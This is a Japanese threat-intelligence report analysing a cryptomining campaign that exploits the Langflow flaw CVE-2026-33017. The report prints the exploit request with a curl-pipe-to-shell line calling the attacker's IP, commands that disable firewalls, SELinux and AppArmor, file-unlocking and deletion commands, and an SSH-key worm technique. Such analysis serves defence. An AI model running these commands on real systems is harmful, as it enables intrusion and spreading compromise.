サイバー脅威
AIツール「Langflow」を暗号資産「Monero」のマイニングに悪用する攻撃活動：脆弱性「CVE-2026-33017」に付け入る手口
AIツール「Langflow」の脆弱性「CVE-2026-33017」に付け入った暗号資産マイニング活動を分析した結果、AIアプリのインフラがサイバー攻撃に悪用される実態が明らかになりました。
目次
- 概要
- はじめに
- 攻撃の流れ
- 第1ステージ：脆弱性「CVE-2026-33017」の悪用
- 攻撃活動の時間的推移
- 第2ステージ：地ならしを行うドロッパ型マルウェア「isp.sh」
- 第3ステージ：ライバルを蹴落とす「lambsys.elf」
- 「lambsys」の具体的な動作
- セキュリティ制御の回避手段
- 特定ファイルのロック解除・削除操作
- 永続化：2種のウォッチドッグ、ディレクトリに対するロック操作
- 第4ステージ：C&Cビーコンとマイナー「procq」
- 暗号資産マイナーが愛用する「ipinfo[.]io」
- マルウェア系譜の分析
- サイバー攻撃知識ベース「MITRE ATT&CK」との紐づけ
- TrendAI Vision One™ Threat Intelligence Hub
- 侵入の痕跡
- 参考記事
- AIツール「Langflow」に潜むRCE（リモートコード実行）の脆弱性「CVE-2026-33017」を悪用し、不正に暗号資産マイニングを行う活動が展開されています。内部のマイニングツール自体は既存のものですが、その配布経路が以前と異なり、公開AIアプリケーションのエンドポイントが利用されています。
- 今回のマルウェアは、ホストレベルのセキュリティ制御を無効化し、独自のマイニング用プログラムを標的サーバ内に配備した上で、長期支配（永続化）に向けた手順を実行します。被害サーバでは、システムリソースの占拠によってパフォーマンスが低下し、運用コストが増大します。また、本マルウェアはSSH鍵を利用したワーム機能によって他システムにも伝搬し、被害の範囲を広げます。このように、Langflowのインスタンスが、大規模侵害の踏み台として悪用されています。
- 対策として、Langflowのインスタンスがインターネットに露出していないか、アプリケーションに過大な権限が付与されていないか、インフラ越しに他システムに接続できる仕組みになっていないかを検査し、安全性を厳密に評価する必要があります。
- また、Langflowのセキュリティアップデートを適用し、Langflowインスタンスへのパブリックアクセスを制限するとともに、サービスが必要以上の権限で動いていないか、検証することを推奨します。あらゆる侵害の兆候を捉え、重大インシデントの可能性を視野に対処することが重要です。
はじめに
AIワークフロー構築ツール「Langflow」に潜む脆弱性「CVE-2026-33017」が、暗号資産マイニング型攻撃に悪用されています。攻撃を分析すると、公開状態のAIアプリが、企業環境への侵入口になっている実態が浮かび上がります。使用されたマルウェア自体はありふれたものかも知れませんが、その「侵入経路」が大きく異なります。Langflowの脆弱性がAIアプリ用インフラの新たな悪用手段を生み出し、それがさまざまなマイニング業者の手にわたっているのです。
本攻撃の手順自体は、極めて単純なものです。認証不要でアクセスできるLangflowのAPIに対し、わずか1行のPythonコードを送り込むだけです。これによってシェルスクリプトが裏で起動し、マイニング用のプログラムがダウンロード、実行されます。そして、わずか数分のうちに、サーバ内で動くライバル（競合相手）のマイニング用プログラムがすべて強制停止され、Linuxが提供するホストレベルのセキュリティ機能が無効化されます。さらに、自動実行の機能（cron）によって何度でも再起動する「永続化」の仕掛けが設置され、遠隔操作（C&C：Command and Control）サーバとの通信が確立されます。これにとどまらず、送り込まれたドロッパ型マルウェアが被害システムのキーリングを盗み出し、SSH接続を悪用した「ワーム機能」によって他サーバにも感染の手を広げます。
今回見られた新たな特徴は、「侵入口」そのものです。これまではDockerの公開APIやConfluenceの脆弱性、SSHのブルートフォース攻撃を悪用していたマイニング業者が、いまや一斉に「認証設定の甘いAIアプリ」に標的を切り替え、手当たり次第にスキャンをかけています。今回はLangflowが標的になりましたが、いかなるAI開発ツールも、初期パスワードのままだったり、誰でもアクセス可能な状態で放置されていれば、同種の被害に遭うでしょう。実際、侵入後に送り込まれたマルウェアの一部は、ファイル名も配置先も2024年5月から変わっていません。中身は以前のままですが、「侵入口」だけが、最新のAIトレンドに合わせて変化しているのです。
本稿では、その変化の過程や、攻撃プロセスの全体像を解説します。今回の調査では、ただ一つの侵入の痕跡（IoC：Indicator of Compromise）がきっかけとなり、脆弱性「CVE-2026-33017」を悪用した19日間にわたる攻撃の詳細が解明されました。攻撃プロセスの中核では、ツール「UPX」で圧縮されたGo言語プログラムが稼働します。このプログラムは、侵入したサーバ内に「先客（ライバルのマルウェア）がいる」という前提をもとに作られており、独自の「強制停止リスト」をもとに対象のプログラムを停止します。さらに、独自のセキュリティ回避機能やC&Cクライアント、永続化の仕組みを備えています。
なお、一般的なマイニングマルウェアの送り込み先にAIアプリケーション・フレームワークが悪用されたのは、今回がはじめてのことではありません。そして、今後も続くでしょう。さまざまな攻撃キャンペーンを通して常に変化し続けるのは、マルウェアではなく「侵入口」なのです。
攻撃の流れ
初期アクセス（Initial Access）の段階では、脆弱性「CVE-2026-33017」が悪用されます。この脆弱性は、下記のLangflowエンドポイントに対し、認証なしで不正なPOSTリクエストを送信できてしまう問題です。
/api/v1/build_public_tmp/{フローID}/flow
攻撃者は、本エンドポイントに対して下記のPythonスクリプトを送り込み、実行させます。
__import__('os').system('curl hxxp[://]83[.]142[.]209[.]214:8080/isp.sh | sh')
わずか1行のコードですが、これは外部から不正なプログラム「isp.sh」をダウンロード、実行するものであり、すべての攻撃の起点となります。なお、今回の活動では、すべての侵入テストにおいて、同一の「フローID」が使い回されていました。
「isp.sh」は短いbashスクリプトであり、本命のマルウェア・プログラム「lambsys」がすでに稼働していないかをチェックします。稼働していない場合は、隠しディレクトリ「/var/tmp/.xlamb」を作成し、通信ツール「curl」や「wget」によってlambsysをダウンロードし、バックグラウンドで稼働させます。また、標的環境から鍵ファイルやエージェントソケットを盗み出し、それによってアクセス可能な他サーバにも感染の手を広げていきます。なお、セキュリティ機能の無効化や、ライバルに相当するマイニングプログラム（マイナー）の強制停止、永続化といった本格的な活動は、「isp.sh」ではなく「lambsys」によって行われます。
本命のマルウェア「lambsys.elf」は、Go言語で作られたLinux向け実行プログラムです。はじめに、以下の準備作業を厳密に実行します。
- マイニングプールの通信ソケットを維持できるように、システムの上限設定（ulimit）を引き上げる。
- ライバルとなる他のマイニングプログラムやマイニングプール、プロセス隠蔽ツールを見つけ出し、強制停止コマンド「pkill」によって一掃する。
- マイニングによく使われる13個のポートを監視し（netstatを利用）、そこに接続中のプロセスを停止する。また、一時フォルダ「/tmp/.X11-unix/」や「/tmp/.systemd.*.」に隠されているPIDファイルに紐づくプログラムも、強制停止（-9）する。
- Linuxを狙った過去のマイニング活動に利用されたアカウント（akay、vfinder）や、バックドアのログイン設定もすべて削除する。
- 各種セキュリティ機能（AppArmor、UFW、iptables、SELinux、カーネルNMIウォッチドッグなど）に加え、クラウドサービス「Alibaba Cloud」のエージェントを無効化する。
- 自動実行ジョブ「cron」や一時ディレクトリ「/tmp」、SSH基盤に設定されていたロック設定（chattr +i）を解除し、システムログ「/var/log/syslog」を削除する。
- 永続化のために、2種のウォッチドッグ（監視役）を設置する。1つ目は、5分おきに実行されるcronジョブ、2つ目は、60秒おきに実行されるBashスクリプト（init_rmount）である。どちらも、C&Cサーバからマルウェアのバイナリを再ダウンロードする他、コマンド「chattr +iua」を通してディレクトリ「/tmp」や「/var/tmp」をロックする。
これらの準備工程をすべて終えた後、lambsysは以下のURLにJSON形式のハートビート・データ（稼働中であることを知らせる信号）を約128秒毎にPOSTプロトコルで送信し、C&Cサーバとのビーコン通信（定期連絡）を維持します。
83[.]142[.]209[.]214:80/status.php
また、「ks.tar」という名前のファイルをダウンロードし、その内容をMD5ハッシュ値に基づいて検証した上で、独自のXMRigマイナー（プロセス名：procq）を特殊な名前の隠しディレクトリに展開します。本マイナーは、TCPの3333番ポートを用いてマイニング・プールに接続します。
以降では、各攻撃ステージの内容や目的、それが防御側での検知やインシデント対応に及ぼす影響について、解説していきます。
第1ステージ：脆弱性「CVE-2026-33017」の悪用
Langflowは、大規模言語モデル（LLM）を組み込んだワークフローを視覚的なグラフとして構築するPythonフレームワークです。そのAPIエンドポイントとして、下記が提供されています。
POST /api/v1/build_public_tmp/{フローID}/flow
このエンドポイントは、JSONデータを受け取り、そのフィールド「code」 で示されたコードをPythonスクリプトとして評価（実行）します。コードの実行は、サービス自身のプロセスコンテキスト内で行われます。本エンドポイントは、ログインの手間をかけずにフローのプロトタイプを試せるように設けられたものですが、認証が未設定となるパターンに注意が必要です。もしインスタンスをインターネット上に公開すれば、あらゆる匿名ユーザがPOSTリクエストを送るだけで、サーバ側でコードを実行させることが可能になります。
Langflowからこの種の脆弱性が発見されたのは、ここ1年間で2度目のこととなります。1度目の脆弱性「CVE-2025-3248」は本質的に今回と同じ仕組みを持ち、2025年6月にDDoS型（分散サービス拒否）ボットネット「Flodrix」の活動で悪用されました。今回の新たな攻撃では、送り込まれるペイロードがFlodrixから暗号資産マイナーに変わったものの、要因となった脆弱性（CVE-2026-33017）は、似たような場所に潜んでいたのです。
攻撃者がエンドポイントに送信したリクエストの構造を、以下に示します。
POST /api/v1/build_public_tmp/0ee284cc-0eb1-493f-bc60-94fa8d1cfd18/flow HTTP/1.1
Host: {標的のLangflowインスタンス}
User-Agent: python-requests/2.25.1
Content-Type: application/json
{"code": "__import__('os').system('curl hxxp[://]83[.]142[.]209[.]214:8080/isp.sh | sh')"}
このリクエスト構造には、以下に示す3つの特性があります。
- フローID「0ee284cc-0eb1-493f-bc60-94fa8d1cfd18」：Langflowの仕様として、指定するフローIDは、対象インスタンス内に実在する公開フローに一致している必要があり、実際に、対象エンドポイントはその検証を行っています。しかしLangflowは、「AUTO_LOGIN（自動ログイン）」の設定をデフォルトで有効な状態で出荷しているため、匿名ユーザであっても管理者相当の権限を入手し、その場で新たな公開フローを作成できてしまいます。この問題は、2026年3月13日のコミットによって修正されました。調査期間中、攻撃者はすべての侵入試行において同一のフローIDを固定的に使い回していました。具体的には、IPアドレス「83[.]142[.]209[.]214」から発せられた8回のPOSTリクエスト全てにおいて、同じフローIDが指定されていました。こうした使い回しは、攻撃者側から見ると運用上の失策であり、防御側から見ると検知上の有力な手がかりになります。
- ユーザエージェント「python-requests/2.25.1」：この「python-requests」は、Pythonのリクエストライブラリがデフォルトで用いるユーザエージェントであり、多くの正規スクリプトで日常的に見られます。今回記録された攻撃トラフィックを分析すると、起点となったIPアドレスからのリクエスト61件のうち、43件で「python-requests」が使い回されていました。残りの18件は初期偵察に見られたものであり、ブラウザに扮したさまざまなユーザエージェント（Kubuntu Chrome、Knoppix Chrome、iPad Mobile Safari、Firefox 3.6.12）が入れ替わり立ち替わり、利用されました。しかし、本格的な攻撃段階では「python-requests」に統一されました。偵察活動をブラウザ操作に見せかけて多くのユーザエージェントを用いたのは、調査の撹乱を意図したものです。しかし、実際の攻撃段階で同じパターンに固定したのは、手抜かりと言えるでしょう。防御側では、こうしたパターンを個別に捕えることが重要な一手となります。
- 実行コード「__import__('os').system(...)」：Pythonの「__import__」は、一般にインタプリタ内部で使用される特殊な関数ですが、「eval()」などの評価コンテキストからも利用可能です。これにより、「import os」のような特定文字列の検出に頼った静的解析ツールをすり抜けようとします。さらに「os.system」を利用することで、Pythonネイティブのコードを書くことなく、サーバのシェルを直接操作できるようになります。こうして実行されるコマンド「curl ... | sh」は、マルウェアをダウンロード、実行する典型的な手口です。そのため、本実行コード自体にLangflow固有の要素はなく、Pythonのリモートコード実行（RCE）に関わる脆弱性であれば、どれに対してもそのまま通用すると考えられます。
攻撃活動の時間的推移
下表は、2026年3月27日から4月15日までの19日間にかけて、IPアドレス「83[.]142[.]209[.]214」から発生した攻撃活動をまとめたものです。表中では、POSTリクエストを通したエクスプロイト（脆弱性悪用）の試みや、その前後で行われた事前偵察、「auto_login（自動ログイン）」の状態確認、TLSハンドシェイク通信などの活動を個別に示しています。
こちらをご参照ください。
表1：「83[.]142[.]209[.]214」から確認された19日間に及ぶ攻撃活動
上表からは、一定の活動パターンが見受けられます。まず、各種ブラウザに偽装したユーザエージェントを用いて標的環境を識別し、いったん時間を置いてから、固定的なユーザエージェント「python-requests」に切り替えてエクスプロイトに踏み出します。そして、「AUTO_LOGIN（自動ログイン）」の設定を確認した上で、ドロッパ型マルウェアを一挙に送り込みます。数日後には、同じフローIDを指定しながらも、検知回避のために異なるクラス名（FFComponent/flowChat）を用いて再アクセスし、標的サーバへの支配が維持されているかを確認しています。
第2ステージ：地ならしを行うドロッパ型マルウェア「isp.sh」
「isp.sh」は、「83[.]142[.]209[.]214」から配信されるBashスクリプトです。その役割は、本命のマルウェア「lambsys」をダウンロードして実行し、さらに、被害システムからSSHで接続できる全ホストに感染を広げることです。特筆すべき点としてisp.shは、異変を察知されないようにするため、セキュリティ制御には一切手を出しません。たとえば、ファイアウォールの無効化やSELinuxの操作、AppArmorの停止といった操作は、行いません。こうした処理は、すべてlambsysの方で行われます。
isp.shはまず、暗号資産マイナーがすでに起動中であるかを確認します。起動中の場合、以降の処理に進むことなく終了します。起動中でない場合、 永続化用の隠しディレクトリ「/var/tmp/.xlamb」を用意し（通常の「/tmp」とは異なり、このディレクトリに置かれたファイルはシステム再起動後も保持される）、そこにバイナリ「lambsys」がすでに存在するかをチェックします。存在する場合はそれを再実行し、水平移動・内部活動（Lateral Movement）のステップに進みます。存在しない場合、コマンド「curl」によってダウンロードします。curlが無効の場合、代替手段として「wget」を用います。双方とも無効の際は、以降の処理に進むことなく、終了します。lambsysをダウンロードした後は、コマンド「chmod +x」 によって実行権限を付与し、「nohup」を通してバックグラウンドで起動させます。
最後にisp.shは、「SSH鍵使い回し型のワーム」として動き出します。具体的には、以下に示す2つの方法で、拡散先のホストを探索します。
- ディスク上のファイルを解析：ディレクトリ「~/.ssh」の配下から「id_rsa」や「id_ed25519」、「id_dsa」といった秘密鍵を探し出す。また、ファイル「~/.ssh/known_hosts」を解析し、被害端末が過去に接続したことのある全ホスト情報を入手する。
- メモリ上のエージェント情報を解析：環境変数「SSH_AUTH_SOCK」を参照して通信窓口を特定し、コマンド「ssh-add -l」を用いてメモリ内の識別情報を取得する。そこから、拡散先とするホスト情報を抽出する。この手口は、ディスク上に存在しないハードウェアトークンや、パスフレーズで保護された鍵データさえも盗み出せる点で脅威と言える。
この後「isp.sh」は、拡散先とするサーバを標的として、以下に示す2つの配信方法を同時実行します。
- プル方式：SSHで対象サーバ側に侵入し、コマンド「curl」によってC&Cサーバからlambsysを取得、実行する。
- プッシュ方式：コマンド「scp」を利用し、自身のローカル環境にある複製ファイルを対象サーバ側に直接送信する。この方式は、対象サーバでインターネットへの外部接続が遮断されている場合にも通用する点で、強力と言える。
すべてのSSH接続において、オプションとして「BatchMode=yes（対話処理の無効化）」、「ConnectTimeout=5（5秒の接続タイムアウト）」、「StrictHostKeyChecking=no（新規ホストキーの自動受け入れ）」を指定します。これにより、ワームとしての動作がパスワード入力要求やホストキー確認によってブロックされないように制御しています。
本攻撃が与える被害の大きさは、LangFlowの権限設定やデプロイ構成によって変化します。もしLangFlowがCI/CDランナー上でroot権限によって動作し、ファイル「known_hosts」に本番用ホストが多く記載されていたならば、isp.shはその全てに拡散し、被害を広域化させます。一方、もしLangFlowが適切なセキュリティ設計に従い、権限の抑制されたサービスアカウントによって動作していたならば、isp.shはどのサーバにも行き着けない可能性があります。
インシデントチームがシステム内でlambsysの痕跡を発見した場合、こうした環境状態を把握することで、影響範囲を特定しやすくなります。また、lambsysの発見を「1台のサーバがマイニングに悪用されただけ」と片付けることなく、「SSH鍵が外部に流出した重大インシデント」と見なし、調査にあたるべきです。
第3ステージ：ライバルを蹴落とす「lambsys.elf」
「lambsys.elf」の挙動に深入りする前に、その静的性質（プログラムを実行することなく得られる解析情報）について述べる価値があります。今回TrendAIが分析したlambsysのサンプル（検体）は、初期バージョンとは異なります。初期バージョンのコンパイル日は2024年5月25日であり、これは、今回の攻撃キャンペーンで利用されたバージョンよりおよそ22ヶ月古いものです。
初期バージョンに相当するサンプルは、その出現当初より、アンチウイルス・ソフトウェアで高頻度に検知されていました。一方、後期バージョンでは、検知率が低下しています。このことより、背後の攻撃グループについて下記の知見が得られます。
- 長期にわたる開発：少なくとも2年間にわたり、このマルウェアファミリの強化にあたっていた。
- 検知回避のための試行錯誤：世代を経て検知率が低下したのは、偶然の産物ではなく、意図的な再ビルドの効果と見られる。具体的には、「Go Toolchain」の新規バージョンを用いた再コンパイル、UPXの亜種を用いた再パッキング、プログラム内の文字列シャッフル（並び替え）といった偽装工作を重ねることで、シグネチャベースのセキュリティソフトを回避する仕組みを組み込んだ。
本マルウェアの系譜を調べる限り、新たな攻撃グループの参入を示唆する確たる証跡はありません。むしろ、同一の攻撃グループによって長期的かつ綿密に保守されており、それが、低い検知率に繋がっているように見受けられます。
今回の新たなサンプルは、全体的な機能面では、2024年当初のものに大きく類似します。両者の差異は、主にパッケージング（ファイルの梱包方法）や通信プロトコルに関するものです。パッケージング面では、UPXの新規バージョン（2024年版：3.96、2026年版：4.24）でパッキングされたことで、バイナリファイルのサイズが48%も縮小しました。さらに、解析環境を欺くために処理を一時中断する「サンドボックス遅延スリープ（MITRE ATT&CK T1497）」が追加された他、「isp.sh」を介した多段階の配信アーキテクチャへと移行しました。結果、VirusTotalでの検出率が「31/66」から「4/66」にまで激減しています。
通信プロトコル面では、C&CサーバのIPアドレスが「94[.]156[.]64[.]241」から「83[.]142[.]209[.]214」に、ビーコン用エンドポイントが「/r.php」から「/status.php」 に変わりました。また、ステータスデータ内に埋め込んでいた「被害者のパブリックIPアドレス」が「Unixタイムスタンプ」に置き換わりました。これは、作戦保全上の強化を意図したものと見られます。通信プロトコルの詳細な比較については、後述のセクション「マルウェア系譜の分析」で解説します。
静的解析から得られたもう一つの重要なデータは、マイニングプログラム「procq」が用いる95文字の「XMRウォレット・アドレス」です。さまざまな公開バイナリ・データベースを検索しても、本アドレスを用いているものは他になく、本攻撃キャンペーンに特有であることが判明しました。つまり、攻撃グループの特定・分類における決め手となるものです。
通常、「Kinsing」や「TeamTNT」といった一般的な攻撃グループは、多くのマルウェアサンプル間で同じウォレットアドレスを使い回す傾向にあります。それに対して、アドレスがただ1つのバイナリファミリにしか紐づかないという事実は、背後にいる攻撃者が単独で活動していることを示すものです。
また、本マルウェアに仕込まれた「強制停止リスト」の内容を踏まえると、背後にいる攻撃者は、Linuxの暗号資産マイニングに関する情勢を広く理解していると見られます。リストに記載されたプログラムとして、kingsinやkinsin（Kinsingの打ち間違い名称であり、何世代にもわたってマイニングツール間で受け継がれてきた）、kthreaddi （正規のLinuxカーネルスレッド「kthreadd」に扮した名前）、その他数十種が含まれます。
停止対象のプログラムは、おおむね、以下の5種に分類できます。
- Kinsing（kdevtmpfsi、kingsin、kinsin）
- ウォッチドッグ（pdefenderd、updatecheckerd、meminitsrv、dbused、phpguard）
- Rocke/KORKERDS（/tmp/.x/kworker）
- Outlaw（hezb、bashirc）
- 一般的なマイニングプール名（例：xmrig、monero、moneroocean、supportxmr、nanopool、c3pool、crypto-pool、miner）
今回の攻撃者は、暗号資産マイニングに関する歴史や現状を調べ上げ、ライバルにあたる存在を全て排除すべく、強制停止リストを編集したと考えられます。
乗っ取ったホスト上でのMoneroマイニングは、CPUリソースを奪い合う「ゼロサムゲーム」になります。収益の最大化を目指す攻撃者は、他者とリソースを共有しようなどと考えません。実際にlambsysは、感染直後の最初の10秒間を、ハードウェアの独占的支配に向けた処理に費やします。
ライバルを排除する手段は、先述した「名前に基づく強制停止リスト」にとどまりません。まず、コマンド「netstat -anp | grep :{ポート番号}」を用いてLinuxのネットワーク状態を把握し、12個の一般的なマイニングプール用ポートに紐づくプロセスを強制停止します。対象ポート番号は、以下の通りです。
- 3333、4444、5555、6666、7777、3347、14444、14433、56415、9999、13531、3380
これらのポート番号は、MoneroOceanやMinerGate、NiceHash、他のMonero互換プールに広く使用されており、標準的なマイニングプロトコルをひととおり網羅したものと言えます。
結果、たとえライバルのマイニングプログラムが偽の名前を用いて前述の「強制停止リスト」をすり抜けても、マイニングプールとの接続を行っている限り、漏れなく排除されることになります。
次にlambsysは、システム内の隠しファイルからPID（プロセスID）を読み取り、紐づくプロセスを強制停止します。隠しファイルの置き場は、以下の通りです。
/tmp/.X11-unix/01
/tmp/.X11-unix/11
/tmp/.X11-unix/22（コマンド cat {ファイル} | xargs -I % kill -9 % を使用）
/tmp/.systemd.1
/tmp/.systemd.2
/tmp/.systemd.3（xargsのパターンに加え、冗長な代替コマンド kill -9 $(cat {ファイル}) も併用）
こうしたPIDファイルは本来、ライバルのマイナーが自身のプロセス状態を追跡、管理する目的で作成するものです。lambsysは、その仕組みを逆手に取ることで、ライバルの存在を検知し、排除しようと目論んでいるのです。
中でもディレクトリ「/tmp/.X11-unix」は、巧妙な隠し場所と言えます。なぜなら、このディレクトリは、「X11（デスクトップ環境などの画面表示システム）」が動作する全Linuxシステム内に、正規の仕組みとして存在するためです。そこに「01」や「11」、「22」といった名前のファイルが作られても、正規のソケット名前空間として自然に溶け込み、不審なものとは気づきにくくなります。
さらに徹底したクリーンアップ処理として、下記のコマンドを利用し、ライバル側のウォレットや鍵データを削除します。
rm -rf /tmp/addre*
rm -rf /tmp/walle*
rm -rf /tmp/keys
以上を統合すると、「名前ベースの強制停止」、「ポート番号ベースの強制停止」、「PIDベースの強制停止」、「関連ファイルのクリーンアップ」という4つの系統により、強力なライバル排除システムが築かれています。今回の攻撃者は、ただ競合相手のマイニング活動を阻害するだけでなく、その存在履歴やアーティファクトさえも、根こそぎ消し去ろうとしているのです。
処理の最深部には、コマンド「userdel」によるアカウント削除の機能も埋め込まれており、そこから、重要な知見が得られました。
userdel akay
userdel vfinder
削除対象のアカウント名「akay」や「vfinder」は、ランダムなものでも、Linuxのデフォルトでもありません。双方とも、以前蔓延した汎用型マイニングキャンペーンでハッカーが作成した「バックドア用アカウント」の名前に一致しているのです。このうち、「akay」のルーツは2019年の「Automキャンペーン」に遡ります。当時、乗っ取られたDockerホスト上で、「root sudo」の権限を持つ不正なアカウントとして、「akay」が作成されていました。
「akay」と「vfinder」の双方を「同時に削除する挙動」を取り上げたレポートは、TrendAI™ Researchの「Trojan.SH.MALXMR.UWEKB」に限られます。この「Trojan.SH.MALXMR.UWEKB」は、2019年に猛威を振るったシェル駆動の暗号資産マイナーであり、「KORKERDS」と呼ばれるファミリに属します。そこで発見されたドロッパ型マルウェアの名前は「is.sh」であり、今回の「isp.sh」 と似通っています。さらに、「known_hostsとSSH接続のワーム機能によって水平移動・内部活動を行う点」や、「ライバルのアカウントやプロセスを事前に排除する点」も、同一のパターンを踏んでいたのです。
こうした類似性は、以下の仮説を立てる上で、十分に強力なものです。
lambsysとTrojan.SH.MALXMR.UWEKB/KORKERDSが同一のマルウェア系譜に属する
その仮説に対する否定的な見方として、かつてKORKERDSのプレイブック（手順書）がテキスト共有サイト「Pastebin」で公開されていたため、いかなる攻撃者も、その技術をコピーすることが可能でした。また、lambsysには「Go言語でのプログラム書き換え」、「固有ウォレットアドレスの利用」、「新たなファイル名（init_rmount）やディレクトリ（/var/tmp/.xlamb/）の導入」といった特徴があります。こうした点は、「直接的な系譜上の繋がり」というより、「別の独立した攻撃者の活動」を示唆するものです。
しかしながら、双方ともアカウント「akay」と「vfinder」を排除する点、同じSSHワームの手口を行使する点、似たような名前のドロッパ（「is.sh」、「isp.sh」）を用いる点は、注目すべき類似性と言えます。総合的に見ると、lambsysによる本攻撃キャンペーンは、以下と考えるのが、理にかなった説明になります。
Trojan.SH.MALXMR.UWEKB/KORKERDSの系譜から技術をそのまま受け継いだ
もし防御側のEDRソリューションがコマンド「userdel akay」を検知した場合、正規の管理者によるクリーンアップ作業などでない限り、攻撃者同士の「縄張り争い」が示唆されます。
「lambsys」の具体的な動作
先述のライバル排除を行う前に、lambsysはコマンド「ulimit -n」を用いてファイルデスクリプタの制限値を65,535に引き上げます。理由としてMoneroのマイナーは、マイニングプールへの接続維持や監視用サブプロセスの起動、C&Cサーバとの定期連絡のために、多くのファイルディスクリプタを必要とします。デフォルト上限の1,024では、わずか数分の間に枯渇してしまいます。こうした特質に配慮した工夫は、大規模環境におけるXMRigの実運用経験を匂わせるものです。
さらにlambsysは、ドロッパ「isp.sh」によるチェックとは別に、自身でも「二重起動防止」の措置をとります。
- ドロッパ「isp.sh」によるチェック：コマンド「pgrep -f "lambsys"」により、指定文字列（lambsys）を実行引数（argv）の中に含む全プロセスをヒットさせる。文字列の部分一致を許容した「緩い」条件付けとなっている。
- マルウェア本体「lambsys.elf」によるチェック：自身の起動中にコマンド「pgrep -x lambsys.elf」を繰り返し実行する。フラグ「-x」はプロセス名（ベースネーム）の完全一致を要求するため、より精密な条件付けとなっている。
両チェック方式の差異は、インシデント対応の現場においても、大きな意味を持ちます。特にシェルの実行履歴を調べ、pgrepの形跡に対してトリアージ作業（優先順位付けと分析）を行う際に、厳格なチェック方式（lambsys.elfの検知法）は、信頼性の高いシグナルになります。一方、大雑把なチェック方式（isp.shの検知法）は、無関係なプロセスを巻き込んで誤検知を引き起こすことがあり、実際にそうしたケースは発生しています。
lambsysによる処理のコア部分を覗くと、設計上、奇妙な性質があります。具体的には、自身の攻撃ロジックをGo言語の関数として行うのではなく、代わりに、コマンド「sh -c」による短命なサブプロセスをカスケード方式で滝のように連続して作成（フォーク）します。そして個々のサブプロセスに対し、ただ1つのシェルコマンド（例：pkill、chattr、sysctlなど）を実行させるのです。
この設計は、隠蔽性を犠牲にして確実性を手に入れる「トレードオフ」とみなせます。例えば、51個あるpkillコマンドの1つが失敗する場合、本マルウェアの設計であれば、その失敗の影響は対象のサブプロセス内にとどまり、残り50個はそのまま処理を続行できます。外部コマンドを実行するたびにシェル/サブプロセスを立ち上げるという一見泥臭いやり方は、設定やOSバージョンが多様なLinuxサーバ群に対しても有効範囲を可能な限り広げようと意図したものであり、極めて実務的なアプローチと言えるでしょう。
セキュリティ制御の回避手段
ライバルのマイナープログラムをすべて排除した後、lambsysは、ホストのセキュリティ機能を無効化します。この処理が終わるまで、ディスク内にいかなるデータも書き出しません。無効化の対象は、さまざまなLinuxディストリビューションで用いられる一般的なセキュリティ制御機能であり、本マルウェアが広範な環境を考慮して作られていることがうかがえます。
はじめに、Linuxカーネルに備わっている「NMIウォッチドッグ（NMI watchdog）」を無効化します。NMIウォッチドッグとは、CPUを占有している異常なプロセスを検知し、停止させる仕組みです。今回のMoneroマイナーは、まさにそうした性質を備えたもので、本来、NMIウォッチドッグに検知されるべき存在です。これに対してlambsysは、以下の3つの手法を通してNMIウォッチドッグの無効化を試みます。
sysctl kernel.nmi_watchdog=0（実行時）
echo '0' > /proc/sys/kernel/nmi_watchdog（上記「sysctl」が制限されている場合の代替手法）
/etc/sysctl.confへの設定追加（システムの再起動後も動作を継続させる手段：永続化）
次の標的は、ファイアウォールです。lambsysは、コマンド「ufw disable」を利用し、Ubuntuの標準ファイアウォール「Uncomplicated Firewall（UFW）」を停止します。さらに、コマンド「iptables -F」を実行することで、ファイアウォールを支えるフィルタテーブルのルールを全て消去します。これによって外向き通信に対する制限を取り払い、マイニングプログラムからプールへの接続、またはC&Cから「83[.]142[.]209[.]214」への通信が妨げられないようにします。
続いて、Ubuntuの強制アクセス制御（MAC：Mandatory Access Control）フレームワーク「AppArmor」を狙います。まず、コマンド「service apparmor stop」によってAppArmorを停止させます。次に、コマンド「systemctl disable apparmor」を実行し、AppArmorをOSの起動パスから排除します。さらに、以下に示す停止用スクリプトのシンボリックリンクにより、OSの再起動後も、AppArmorが稼働しないように制御します。
/etc/rcS.d/K01apparmor
「Red Hat Enterprise Linux（RHEL）」や「CentOS」においてAppArmorと同種の機能を提供する「SELinux」も、無効化の対象になります。まず、コマンド「setenforce 0」を利用し、実行時の強制モード（Enforcement）を無効化します。また、以下により、その設定を持続させます。
echo SELINUX=disabled >/etc/selinux/config
AppArmorとSELinuxを同時に狙っている点から示されるように、本マルウェアはDebian系ホストやRed Hat系ホストといった種別を問わず、幅広いLinuxサーバ群で動くように作られています。
以上に加えてlambsysは、コマンド「service aliyun.service stop」と「systemctl disable aliyun.service」を実行することで、クラウドサービス「Alibaba Cloud」のホスト型セキュリティ監視エージェントを停止、無効化します。この点より、攻撃者はAliyunがホストするインフラを明確な侵入目標として定めていることが分かります。そして、当該プラットフォームに組み込み済みのセキュリティツールを回避するための専用手段を、はじめからスクリプトに組み込んでいるのです。
特定ファイルのロック解除・削除操作
lambsysは、ファイルの拡張属性変更コマンド「chattr」を駆使することで、さまざまなファイルに対するロック操作を実施します。
対象となるファイルの一例が、SSH設定です。具体的にlambsysは、以下のコマンドを利用し、SSHディレクトリやauthorized_keys（公開鍵認証ファイル）にかかっている拡張属性「変更禁止」、「追記のみ許可」を解除します。これにより、先述した「isp.sh」が水平移動・内部活動を行う際に、自身の不正なSSH鍵を書き込めるようにします。
chattr -iae ~/.ssh/
chattr -iae ~/.ssh/authorized_keys
コマンド「chattr」を積極的に用いる作戦は、本マルウェアの作者が、ライバルによる永続化の手口を熟知していることを示しています。Kinsingを含む多くの暗号資産マイナーは、自身で作成した定期実行タスク（cronエントリ）やauthorized_keysのファイルに「chattr +i」の設定を施すことで、rootユーザでも削除できないように仕込んできました。lambsysは、そうしたライバルが施した「ロック」を外すために、下記のような一掃用コマンドを先回りして実行する作戦を講じたのです。
chattr -iua /tmp/
chattr -iua /var/tmp/
chattr -R -i /var/spool/cron
chattr -i /etc/crontab
chattr -i /etc/ld.so.preload
chattr -iae ~/.ssh/
chattr -iae ~/.ssh/authorized_keys
上記の対象ファイルやディレクトリは、ライバルのLinuxマイナーが永続化に用いている「場所」を、リバースエンジニアリングによって割り出した「マップ」と言えます。コマンド内の各フラグ（i：変更禁止、u：削除禁止、a：追記のみ許可、e：拡張フォーマット）は、これまでに各種マイナー・ファミリが用いてきたロック手段のバリエーションに紐づいています。特に以下に対する処理は、「競合するハッカーたちがすでにSSHのバックドア鍵をサーバ内に設置しており、それを変更禁止属性（i）でロックしているはずだ」と見越している証拠であり、lambsysの徹底した対応ぶりがうかがえます。
~/.ssh/authorized_keys
